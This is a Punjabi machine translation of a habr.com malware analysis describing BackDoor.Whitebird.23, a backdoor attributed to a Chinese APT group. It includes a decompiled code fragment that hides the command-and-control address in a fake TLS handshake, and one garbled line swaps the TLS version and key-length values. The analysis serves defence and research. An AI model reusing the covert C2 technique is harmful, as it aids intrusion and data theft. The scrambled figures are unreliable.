ਪਹਿਲੇ ਬਫਰ ਵਿੱਚ TLS 1.0 ਕਲਾਇੰਟ ਹੈਲੋ ਪੈਕੇਟ ਸ਼ਾਮਲ ਹੈ।

ਦੂਜੇ ਬਫਰ ਵਿੱਚ 1.0x0 ਬਾਈਟਸ ਦੀ ਕੁੰਜੀ ਲੰਬਾਈ ਦੇ ਨਾਲ TLS 100 ਕਲਾਇੰਟ ਕੁੰਜੀ ਐਕਸਚੇਂਜ ਪੈਕੇਟ, ਚੇਂਜ ਸਿਫਰ ਸਪੇਕ, ਐਨਕ੍ਰਿਪਟਡ ਹੈਂਡਸ਼ੇਕ ਮੈਸੇਜ ਸ਼ਾਮਲ ਹਨ।

ਇੱਕ ਕਲਾਇੰਟ ਹੈਲੋ ਪੈਕੇਟ ਭੇਜਣ ਵੇਲੇ, ਬੈਕਡੋਰ ਮੌਜੂਦਾ ਸਮੇਂ ਦੇ 4 ਬਾਈਟ ਅਤੇ ਕਲਾਇੰਟ ਰੈਂਡਮ ਖੇਤਰ ਵਿੱਚ ਸੂਡੋ-ਰੈਂਡਮ ਡੇਟਾ ਦੇ 28 ਬਾਈਟ ਲਿਖਦਾ ਹੈ, ਜਿਸਦੀ ਗਣਨਾ ਹੇਠ ਲਿਖੇ ਅਨੁਸਾਰ ਕੀਤੀ ਜਾਂਦੀ ਹੈ:

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

ਪ੍ਰਾਪਤ ਪੈਕੇਟ ਕੰਟਰੋਲ ਸਰਵਰ ਨੂੰ ਭੇਜਿਆ ਗਿਆ ਹੈ. ਜਵਾਬ (ਸਰਵਰ ਹੈਲੋ ਪੈਕੇਟ) ਜਾਂਚ ਕਰਦਾ ਹੈ:

• TLS ਪ੍ਰੋਟੋਕੋਲ ਸੰਸਕਰਣ 1.0 ਦੀ ਪਾਲਣਾ;
• ਟਾਈਮਸਟੈਂਪ ਦਾ ਪੱਤਰ ਵਿਹਾਰ (ਰੈਂਡਮ ਡੇਟਾ ਪੈਕੇਟ ਫੀਲਡ ਦੇ ਪਹਿਲੇ 4 ਬਾਈਟਸ) ਸਰਵਰ ਦੁਆਰਾ ਨਿਰਧਾਰਤ ਟਾਈਮਸਟੈਂਪ ਲਈ ਕਲਾਇੰਟ ਦੁਆਰਾ ਨਿਰਧਾਰਤ ਕੀਤਾ ਗਿਆ ਹੈ;
• ਕਲਾਇੰਟ ਅਤੇ ਸਰਵਰ ਦੇ ਰੈਂਡਮ ਡੇਟਾ ਖੇਤਰ ਵਿੱਚ ਟਾਈਮਸਟੈਂਪ ਤੋਂ ਬਾਅਦ ਪਹਿਲੇ 4 ਬਾਈਟਾਂ ਦਾ ਮੇਲ।

ਨਿਰਧਾਰਤ ਮੈਚਾਂ ਦੇ ਮਾਮਲੇ ਵਿੱਚ, ਬੈਕਡੋਰ ਇੱਕ ਕਲਾਇੰਟ ਕੀ ਐਕਸਚੇਂਜ ਪੈਕੇਟ ਤਿਆਰ ਕਰਦਾ ਹੈ। ਅਜਿਹਾ ਕਰਨ ਲਈ, ਇਹ ਕਲਾਈਂਟ ਕੁੰਜੀ ਐਕਸਚੇਂਜ ਪੈਕੇਜ ਵਿੱਚ ਪਬਲਿਕ ਕੁੰਜੀ ਨੂੰ ਸੋਧਦਾ ਹੈ, ਨਾਲ ਹੀ ਏਨਕ੍ਰਿਪਟਡ ਹੈਂਡਸ਼ੇਕ ਮੈਸੇਜ ਪੈਕੇਜ ਵਿੱਚ ਐਨਕ੍ਰਿਪਸ਼ਨ IV ਅਤੇ ਐਨਕ੍ਰਿਪਸ਼ਨ ਡੇਟਾ।

ਬੈਕਡੋਰ ਫਿਰ ਕਮਾਂਡ ਅਤੇ ਕੰਟਰੋਲ ਸਰਵਰ ਤੋਂ ਪੈਕੇਟ ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ, ਜਾਂਚ ਕਰਦਾ ਹੈ ਕਿ TLS ਪ੍ਰੋਟੋਕੋਲ ਸੰਸਕਰਣ 1.0 ਹੈ, ਅਤੇ ਫਿਰ ਹੋਰ 54 ਬਾਈਟਸ (ਪੈਕੇਟ ਦਾ ਸਰੀਰ) ਸਵੀਕਾਰ ਕਰਦਾ ਹੈ। ਇਹ ਕੁਨੈਕਸ਼ਨ ਸੈੱਟਅੱਪ ਨੂੰ ਪੂਰਾ ਕਰਦਾ ਹੈ।

ਓਪਰੇਟਿੰਗ ਸਿਧਾਂਤਾਂ ਦਾ ਹੋਰ ਪੂਰਾ ਵੇਰਵਾ ਬੈਕਡੋਰ.ਵਾਈਟਬਰਡ.23 ਸਾਡੇ ਵਿੱਚ ਹੈ ਵਾਇਰਸ ਲਾਇਬ੍ਰੇਰੀ.

ਸਿੱਟਾ ਅਤੇ ਸਿੱਟਾ

ਦਸਤਾਵੇਜ਼ਾਂ, ਮਾਲਵੇਅਰ ਅਤੇ ਵਰਤੇ ਜਾਣ ਵਾਲੇ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਸਾਨੂੰ ਭਰੋਸੇ ਨਾਲ ਇਹ ਕਹਿਣ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ ਕਿ ਹਮਲਾ ਚੀਨੀ APT ਸਮੂਹਾਂ ਵਿੱਚੋਂ ਇੱਕ ਦੁਆਰਾ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਸੀ। ਇੱਕ ਸਫਲ ਹਮਲੇ ਦੀ ਸਥਿਤੀ ਵਿੱਚ ਪੀੜਤਾਂ ਦੇ ਕੰਪਿਊਟਰਾਂ 'ਤੇ ਸਥਾਪਤ ਕੀਤੇ ਗਏ ਪਿਛਲੇ ਦਰਵਾਜ਼ਿਆਂ ਦੀ ਕਾਰਜਕੁਸ਼ਲਤਾ ਨੂੰ ਧਿਆਨ ਵਿੱਚ ਰੱਖਦੇ ਹੋਏ, ਲਾਗ, ਘੱਟੋ-ਘੱਟ, ਹਮਲਾਵਰ ਸੰਗਠਨਾਂ ਦੇ ਕੰਪਿਊਟਰਾਂ ਤੋਂ ਗੁਪਤ ਜਾਣਕਾਰੀ ਦੀ ਚੋਰੀ ਵੱਲ ਲੈ ਜਾਂਦੀ ਹੈ।

ਇਸ ਤੋਂ ਇਲਾਵਾ, ਇੱਕ ਬਹੁਤ ਹੀ ਸੰਭਾਵਿਤ ਦ੍ਰਿਸ਼ ਇੱਕ ਵਿਸ਼ੇਸ਼ ਫੰਕਸ਼ਨ ਦੇ ਨਾਲ ਸਥਾਨਕ ਸਰਵਰਾਂ 'ਤੇ ਵਿਸ਼ੇਸ਼ ਟਰੋਜਨਾਂ ਦੀ ਸਥਾਪਨਾ ਹੈ। ਇਹ ਡੋਮੇਨ ਕੰਟਰੋਲਰ, ਮੇਲ ਸਰਵਰ, ਇੰਟਰਨੈਟ ਗੇਟਵੇ ਆਦਿ ਹੋ ਸਕਦੇ ਹਨ। ਜਿਵੇਂ ਕਿ ਅਸੀਂ ਉਦਾਹਰਨ ਵਿੱਚ ਦੇਖ ਸਕਦੇ ਹਾਂ। ਕਜ਼ਾਕਿਸਤਾਨ ਵਿੱਚ ਘਟਨਾ, ਅਜਿਹੇ ਸਰਵਰ ਵੱਖ-ਵੱਖ ਕਾਰਨਾਂ ਕਰਕੇ ਹਮਲਾਵਰਾਂ ਲਈ ਖਾਸ ਦਿਲਚਸਪੀ ਰੱਖਦੇ ਹਨ।

ਸਰੋਤ: www.habr.com